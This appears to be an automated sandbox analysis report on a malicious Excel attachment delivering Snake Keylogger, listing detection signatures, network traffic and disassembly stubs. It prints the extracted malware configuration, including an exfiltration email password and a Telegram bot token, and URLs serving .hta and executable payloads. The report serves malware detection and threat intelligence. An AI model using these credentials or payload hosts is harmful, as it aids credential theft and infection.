Windows Analysis Report
SYSN ORDER.xls

Overview

General Information

Sample name:	SYSN ORDER.xls
Analysis ID:	1522511
MD5:	673bd0aa988ca4a1ef05edb3d5b68d60
SHA1:	4b7d31c4d6a4cd94e95fdd7c35bca86f6e13ec38
SHA256:	9db5ab81cbe373ea471f128ad2fdc98c9eb98c1ff3991046f7ca54823d9a6107
Tags:	xlsuser-abuse_ch
Infos:

Detection

Snake Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Snake Keylogger

Document exploit detected (process start blacklist hit)

Excel sheet contains many unusual embedded objects

Installs new ROOT certificates

Machine Learning detection for dropped file

Machine Learning detection for sample

Maps a DLL or memory area into another process

Microsoft Office drops suspicious files

PowerShell case anomaly found

Powershell drops PE file

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: File With Uncommon Extension Created By An Office Application

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: Suspicious MSHTA Child Process

Sigma detected: Suspicious Microsoft Office Child Process

Sigma detected: System File Execution Location Anomaly

Suspicious command line found

Suspicious powershell command line found

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Compiles C# or VB.Net code

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected potential crypto function

Document contains embedded VBA macros

Document embeds suspicious OLE2 link

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries the volume information (name, serial number etc) of a device

Searches for the Microsoft Outlook file path

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: Excel Network Connections

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: Suspicious DNS Query for IP Lookup Service APIs

Sigma detected: Suspicious Office Outbound Connections

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Yara signature match

Classification

Malware Threat Intel
Provided by

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Signatures

AV Detection

Found malware configuration

Source: 0000000E.00000002.630259466.0000000002561000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "Telegram", "Username": "teilecar@teilecar.com", "Password": "Manta924porsche=911", "Host": "mail.teilecar.com", "Port": "587", "Token": "7999924339:AAGXruqvzq9xMXJCD4qt4gTPOUJ8WiZw7pY", "Chat_id": "6183379562", "Version": "5.1"}

Multi AV Scanner detection for domain / URL

Source: http://172.245.123.6/xampp/crio/IEnetbokkworkingforupdate.hta	Virustotal: Detection: 8%	Perma Link
Source: http://172.245.123.6/xampp/crio/IEnetbokkworkingforupdate.htahttp://172.245.123.6/xampp/crio/IEnetbo	Virustotal: Detection: 7%	Perma Link
Source: http://172.245.123.6/xampp/crio/IEnetbokkworkingforupdate.hta...	Virustotal: Detection: 7%	Perma Link
Source: http://172.245.123.6/xampp/crio/IEnetbokkworkingforupdate.htaC:	Virustotal: Detection: 7%	Perma Link
Source: http://172.245.123.6/770/dllhost.exes	Virustotal: Detection: 7%	Perma Link

Multi AV Scanner detection for submitted file

Source: SYSN ORDER.xls	ReversingLabs: Detection: 21%
Source: SYSN ORDER.xls	Virustotal: Detection: 25%			Perma Link

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\dllhost.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\dllhost[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: SYSN ORDER.xls

Joe Sandbox ML: detected

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Uses insecure TLS / SSL version for HTTPS connection

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.22:49174 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.22:49189 version: TLS 1.0

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Source: unknown	HTTPS traffic detected: 172.67.216.244:443 -> 192.168.2.22:49163 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.216.244:443 -> 192.168.2.22:49165 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.78.54:443 -> 192.168.2.22:49170 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.78.54:443 -> 192.168.2.22:49169 version: TLS 1.2

Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\tnesdt30\tnesdt30.pdbhP source: powershell.exe, 00000011.00000002.478774316.0000000002839000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\tnesdt30\tnesdt30.pdb source: powershell.exe, 00000011.00000002.478774316.0000000002839000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: .pdb- source: powershell.exe, 00000007.00000002.450490527.000000001C26D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: dllhost.exe, 0000000B.00000003.457458301.0000000003900000.00000004.00001000.00020000.00000000.sdmp, dllhost.exe, 0000000B.00000003.459419334.0000000003B00000.00000004.00001000.00020000.00000000.sdmp, dllhost.exe, 00000016.00000003.492203935.0000000003E60000.00000004.00001000.00020000.00000000.sdmp, dllhost.exe, 00000016.00000003.492301433.0000000002DD0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: .pdb) source: powershell.exe, 00000011.00000002.482289693.000000001AC63000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\ngxpd0hb\ngxpd0hb.pdb source: powershell.exe, 00000007.00000002.441192247.00000000028AA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\ngxpd0hb\ngxpd0hb.pdbhP source: powershell.exe, 00000007.00000002.441192247.00000000028AA000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	14_2_003C5038
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 003C7B81h	14_2_003C78C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 003C5D07h	14_2_003C5B18
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 003C6691h	14_2_003C5B18
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 003C8143h	14_2_003C7D30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 003C6A01h	14_2_003C6741
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 003C72C1h	14_2_003C7001
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 003C8143h	14_2_003C8072
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	14_2_003C584B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 003C6E61h	14_2_003C6BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 003C7721h	14_2_003C7461
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	14_2_003C566A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 004CC729h	14_2_004CC480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 004C2889h	14_2_004C25E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 004C46F1h	14_2_004C4448
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 004C9711h	14_2_004C9468
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 004C12D1h	14_2_004C1028
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 004CC2D1h	14_2_004CC028
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 004C1B81h	14_2_004C18D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 004CCC15h	14_2_004CC8D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 004C9B91h	14_2_004C98E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 004C4FA1h	14_2_004C4CF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 004C1729h	14_2_004C1480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 004C4B49h	14_2_004C48A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 004C9FE9h	14_2_004C9D40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 004C53F9h	14_2_004C5150
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 004C1FD9h	14_2_004C1D30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 004CA899h	14_2_004CA5F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 004C2431h	14_2_004C2188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 004CA441h	14_2_004CA198
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	14_2_004C79AE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 004C5851h	14_2_004C55A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 004CACF1h	14_2_004CAA48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 004C5CA9h	14_2_004C5A00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 004C2CE1h	14_2_004C2A38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 004C3591h	14_2_004C32E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	14_2_004C7698
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 004C3139h	14_2_004C2E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 004CB149h	14_2_004CAEA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 004C39E9h	14_2_004C3740
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 004C0A21h	14_2_004C0778
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 004CBA21h	14_2_004CB778
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 004C05C9h	14_2_004C0320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 004CB5CAh	14_2_004CB320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 004C0E79h	14_2_004C0BD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 004CBE79h	14_2_004CBBD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 004C4299h	14_2_004C3FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 004C3E41h	14_2_004C3B98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	23_2_002D5038
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 002D7B81h	23_2_002D78CB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 002D5D07h	23_2_002D5B18
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 002D6691h	23_2_002D5B18
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 002D8143h	23_2_002D7D30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 002D6A01h	23_2_002D6741
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 002D72C1h	23_2_002D7001
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 002D8143h	23_2_002D8072
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	23_2_002D584B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 002D6E61h	23_2_002D6BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 002D7721h	23_2_002D7461
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	23_2_002D566A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0044C729h	23_2_0044C480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 004446F1h	23_2_00444448
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 00449711h	23_2_00449468
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 004412D1h	23_2_00441028
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0044C2D1h	23_2_0044C028
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 00441B81h	23_2_004418D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0044CC15h	23_2_0044C8D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 00449B91h	23_2_004498E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 00444FA1h	23_2_00444CF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 00441729h	23_2_00441480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 00444B49h	23_2_004448A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 00449FE9h	23_2_00449D40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 004453F9h	23_2_00445150
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 00441FD9h	23_2_00441D30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 00442889h	23_2_004425E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0044A899h	23_2_0044A5F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 00442431h	23_2_00442188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0044A441h	23_2_0044A198
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	23_2_004479AE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 00445851h	23_2_004455A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0044ACF1h	23_2_0044AA48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 00445CA9h	23_2_00445A00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 00442CE1h	23_2_00442A38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 00443591h	23_2_004432E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 00443139h	23_2_00442E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	23_2_00447698
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0044B149h	23_2_0044AEA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 004439E9h	23_2_00443740
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 00440A21h	23_2_00440778
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0044BA21h	23_2_0044B778
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 004405C9h	23_2_00440320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0044B5CAh	23_2_0044B320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 00440E79h	23_2_00440BD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0044BE79h	23_2_0044BBD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 00444299h	23_2_00443FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 00443E41h	23_2_00443B98

Source: global traffic	DNS query: name: og1.in
Source: global traffic	DNS query: name: og1.in
Source: global traffic	DNS query: name: og1.in
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org

Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 172.67.216.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 172.67.216.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 172.67.216.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 104.21.78.54:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49183 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49185 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49188 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49189 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49190 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49192 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49194 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49196 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49198 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49200 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49202 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 172.245.123.6:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 172.245.123.6:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 172.245.123.6:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 172.245.123.6:80
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 193.122.130.0:80
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 193.122.130.0:80
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 193.122.130.0:80
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 132.226.8.169:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 132.226.247.73:80
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 193.122.130.0:80
Source: global traffic	TCP traffic: 192.168.2.22:49182 -> 193.122.6.168:80
Source: global traffic	TCP traffic: 192.168.2.22:49184 -> 193.122.6.168:80
Source: global traffic	TCP traffic: 192.168.2.22:49186 -> 158.101.44.242:80
Source: global traffic	TCP traffic: 192.168.2.22:49187 -> 193.122.6.168:80
Source: global traffic	TCP traffic: 192.168.2.22:49187 -> 193.122.6.168:80
Source: global traffic	TCP traffic: 192.168.2.22:49187 -> 193.122.6.168:80
Source: global traffic	TCP traffic: 192.168.2.22:49191 -> 193.122.130.0:80
Source: global traffic	TCP traffic: 192.168.2.22:49193 -> 158.101.44.242:80
Source: global traffic	TCP traffic: 192.168.2.22:49195 -> 132.226.247.73:80
Source: global traffic	TCP traffic: 192.168.2.22:49197 -> 158.101.44.242:80
Source: global traffic	TCP traffic: 192.168.2.22:49199 -> 132.226.247.73:80
Source: global traffic	TCP traffic: 192.168.2.22:49201 -> 193.122.130.0:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 172.67.216.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 172.67.216.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 172.67.216.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 172.67.216.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 172.67.216.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 172.67.216.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 172.67.216.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 172.67.216.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 172.67.216.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 172.67.216.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 172.67.216.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 172.67.216.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 172.67.216.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 172.67.216.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 172.67.216.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 172.67.216.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 172.67.216.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 172.67.216.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 172.67.216.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 172.67.216.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 172.67.216.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 172.67.216.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 172.67.216.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 172.67.216.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 172.67.216.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 172.67.216.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 172.67.216.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 172.67.216.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 104.21.78.54:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 104.21.78.54:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 104.21.78.54:443
